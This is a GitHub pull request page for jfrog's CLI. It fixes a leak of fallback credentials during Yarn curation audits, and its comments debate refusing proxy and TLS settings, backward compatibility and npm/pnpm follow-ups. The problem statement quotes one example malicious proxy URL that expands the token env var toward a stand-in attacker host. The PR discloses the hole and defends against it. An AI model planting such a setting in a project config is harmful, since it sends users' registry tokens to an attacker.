Skip to content

XRAY-171572 - Use a per-run random env var for the yarn jf c fallback token - #953

Merged
gauriy-tech merged 4 commits into
jfrog:devfrom
Phavya-jfrog:feature/XRAY-171572-yarn-proxy
Nov 26, 2026
Merged

gauriy-tech merged 4 commits into
jfrog:devfrom
Phavya-jfrog:feature/XRAY-171572-yarn-proxy

Conversation

@Phavya-jfrog

@Phavya-jfrog Phavya-jfrog commented Nov 19, 2026 •

Copy link
Copy Markdown
Contributor

Problem

jf curation-audit on a Yarn Berry (2/3/4) project with no token of its own falls back to the jf c credentials. The token is handed to Yarn in an env var with a fixed, public name (JFROG_CLI_CURATION_YARN_FALLBACK_AUTH), referenced from the temp .yarnrc.yml as ${...}.

A malicious project can use that known name in its own .yarnrc.yml. For example, a proxy URL like http://x:${JFROG_CLI_CURATION_YARN_FALLBACK_AUTH:-}@attacker.example/ makes Yarn expand the token into the URL and send it to the attacker as proxy credentials.

How we fixed

  • The token now goes in an env var with a fresh random name per run (JFROG_CLI_CURATION_YARN_AUTH_<random>). A project can't guess it, so it can't read the token back.
  • The env var is unset when the run ends.
  • clearResolvedRepo() also resets the credential-fallback flag and runs when a working dir fails too, so one dir's repo or fallback state doesn't carry into the next.

Testing

  • Unit tests: a fresh random env var name each run, and the var is unset afterwards.

@coderabbitai

coderabbitai Bot commented Nov 19, 2026 •

Copy link
Copy Markdown

Important

Review skipped

Auto reviews are disabled on base/target branches other than the default branch.

Please check the settings in the CodeRabbit UI or the .coderabbit.yaml file in this repository. To trigger a single review, invoke the @coderabbitai review command.

Run configuration

  • Source mode: Auto
  • Repository: Unavailable
  • Branch: Unavailable
  • File: No configuration file from this repository applied
  • Commit: Unavailable
  • Layers: Organization UI; Enforced overrides: Organization, Workspace
  • Review profile: CHILL
  • Plan: Enterprise
  • Run ID: bb9ce669-dc26-4033-b686-5ab0de8419c7

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • Trigger review

@gauriy-tech

Copy link
Copy Markdown
Collaborator

Question on the design: ~/.yarnrc.yml and the parents of the temp copy are refused exactly like the project's own rc, although a project can't write to them. A developer with a corporate proxy in ~/.yarnrc.yml loses the jf c fallback, which the description notes. Was refusing those files intentional, or would refusing only the project's rc (and the temp-base parents) be acceptable? I also couldn't find the alternatives noted anywhere, for example forcing YARN_HTTPS_PROXY= and YARN_ENABLE_STRICT_SSL=true for the child (env overrides rc on Yarn 2.4.1, 3.2.1 and 4.5.0, though it doesn't cover networkSettings, the whitelist or CA keys). It may be worth a line in the description on why the denylist was chosen, and that a project shipping yarnPath or plugins runs code with the token's env var visible, which this check doesn't address.


Review generated by xray-pr-review

@Phavya-jfrog

Copy link
Copy Markdown
Contributor Author

Question on the design: ~/.yarnrc.yml and the parents of the temp copy are refused exactly like the project's own rc, although a project can't write to them. A developer with a corporate proxy in ~/.yarnrc.yml loses the jf c fallback, which the description notes. Was refusing those files intentional, or would refusing only the project's rc (and the temp-base parents) be acceptable? I also couldn't find the alternatives noted anywhere, for example forcing YARN_HTTPS_PROXY= and YARN_ENABLE_STRICT_SSL=true for the child (env overrides rc on Yarn 2.4.1, 3.2.1 and 4.5.0, though it doesn't cover networkSettings, the whitelist or CA keys). It may be worth a line in the description on why the denylist was chosen, and that a project shipping yarnPath or plugins runs code with the token's env var visible, which this check doesn't address.

Review generated by xray-pr-review

Home and parent rc: refused on purpose, as the ticket asks. Yarn merges all these files, so a proxy or TLS setting in any of them can send the token elsewhere. Users with their own npm token aren't affected.
Env vars instead: they don't cover networkSettings, the whitelist or the CA keys, and forcing the proxy off could break users who need it. Refusing with a clear message is safer. I've added this to the description.
yarnPath / plugins: agreed, out of scope here. I've noted it in the description.

@gauriy-tech gauriy-tech added the safe to test Approve running integration tests on a pull request label Nov 23, 2026
@github-actions github-actions Bot removed the safe to test Approve running integration tests on a pull request label Nov 23, 2026
@Phavya-jfrog Phavya-jfrog added the safe to test Approve running integration tests on a pull request label Nov 23, 2026
@github-actions github-actions Bot removed the safe to test Approve running integration tests on a pull request label Nov 23, 2026
Comment thread commands/curation/curationaudit.go Resolved
Comment thread commands/curation/curationaudit_test.go Resolved
Comment thread commands/curation/curationaudit.go Resolved
@gineshkumar

Copy link
Copy Markdown

Two items from XRAY-171572 that the PR leaves open:

  1. The ticket asks to check whether npm and pnpm have the same gap (proxy, https-proxy, strict-ssl in .npmrc). The pnpm fallback still lends jf c credentials after a host-only check (curationaudit.go:2093-2101). Could you add the result here or link a follow-up ticket?
  2. The ticket asks Security to confirm that a project shipping yarnPath or plugins is outside the threat model. The PR also lists unsafeHttpWhitelist as open for Security. Is there an answer to record on the ticket?

Review generated by jfs-sdlc-pr-review

@gineshkumar

Copy link
Copy Markdown

This PR changes what existing users get. On dev today, jf ca lends the jf c credentials to a Yarn project that has no token of its own, even when a .yarnrc.yml sets a proxy or a CA. After this PR it stops with an error. A CI job that passes today will fail after the upgrade, with no change on the user's side.

It applies only when all of these hold: a curation audit, no token in .yarnrc.yml, a jf c server with credentials, and an install is needed.

Setups that work today and fail after this PR:

Setting Who uses it
httpProxy / httpsProxy Companies with an outbound proxy
caFilePath (Yarn 2/3) / httpsCaFilePath (Yarn 4) TLS-inspecting proxies, Artifactory with a private CA
enableStrictSsl: false Self-signed lab servers
unsafeHttpWhitelist Plain-http on-prem Artifactory
any networkSettings.<host> entry Refused whatever the entry holds (yarn.go:1473-1476), including entries for other hosts, enableNetwork: false, or a client certificate

The user's own ~/.yarnrc.yml is refused the same way, though a cloned repo can't write it. The same proxy set as YARN_HTTPS_PROXY in the environment passes, because only files are read.

Neither XRAY-171572 nor this description records Product approval for this change. Could you:

  1. Get Product sign-off on the list above. That includes whether ~/.yarnrc.yml should be refused at all, and whether the behaviour should be opt-in to keep backward compatibility.
  2. Update the jf ca docs: which settings stop the fallback, the error users see, and the ways out.
  3. Name the environment-variable route for proxy and CA in the error message. Today it names it only for unsafeHttpWhitelist.

Possible solution candidates, final implementation not decided:

  • Check only the files a repo can write (the project copy and the temp folder's parents), and trust ~/.yarnrc.yml and the environment as the user's own.
  • Keep today's behaviour by default and turn on the refusal with a flag or env var, or keep the refusal and let users allow a proxy or CA they trust.

Review generated by jfs-sdlc-pr-review

@Phavya-jfrog

Copy link
Copy Markdown
Contributor Author

Two items from XRAY-171572 that the PR leaves open:

  1. The ticket asks to check whether npm and pnpm have the same gap (proxy, https-proxy, strict-ssl in .npmrc). The pnpm fallback still lends jf c credentials after a host-only check (curationaudit.go:2093-2101). Could you add the result here or link a follow-up ticket?
  2. The ticket asks Security to confirm that a project shipping yarnPath or plugins is outside the threat model. The PR also lists unsafeHttpWhitelist as open for Security. Is there an answer to record on the ticket?

Review generated by jfs-sdlc-pr-review

  1. npm / pnpm: pnpm and npm --run-native send no jf c credentials through a .npmrc proxy. npm without --run-native does. That is a separate code path, so I filed a follow-up: Ticket link.

  2. Security:

  • yarnPath / plugins: out of scope for this ticket, which is about proxy and TLS settings. Noted as a known limit in the description.
  • unsafeHttpWhitelist: already covered. The ticket lists it as a setting to refuse, and the PR refuses it.

@Phavya-jfrog
Phavya-jfrog force-pushed the feature/XRAY-171572-yarn-proxy branch from 5803087 to 73a86c4 Compare November 24, 2026 07:03
@Phavya-jfrog
Phavya-jfrog force-pushed the feature/XRAY-171572-yarn-proxy branch from 3f9f4e7 to c5d452d Compare November 25, 2026 05:52
@Phavya-jfrog Phavya-jfrog changed the title XRAY-171572 - Refuse yarn jf c fallback with proxy or TLS settings XRAY-171572 - Use a per-run random env var for the yarn jf c fallback token Nov 25, 2026
@Phavya-jfrog Phavya-jfrog added the safe to test Approve running integration tests on a pull request label Nov 26, 2026
@github-actions github-actions Bot removed the safe to test Approve running integration tests on a pull request label Nov 26, 2026
@github-actions

Copy link
Copy Markdown
Contributor

👍 Frogbot scanned this pull request and did not find any new security issues.


@gauriy-tech
gauriy-tech merged commit 3b8eda4 into jfrog:dev Nov 26, 2026
67 checks passed
@Phavya-jfrog
Phavya-jfrog deleted the feature/XRAY-171572-yarn-proxy branch November 26, 2026 04:49

This branch was successfully deployed

1 active deployment
frogbot — 2b5117b6 Deployed Nov 25, 2026 by Phavya-jfrog via scan-pull-request #4880
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug Something isn't working

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants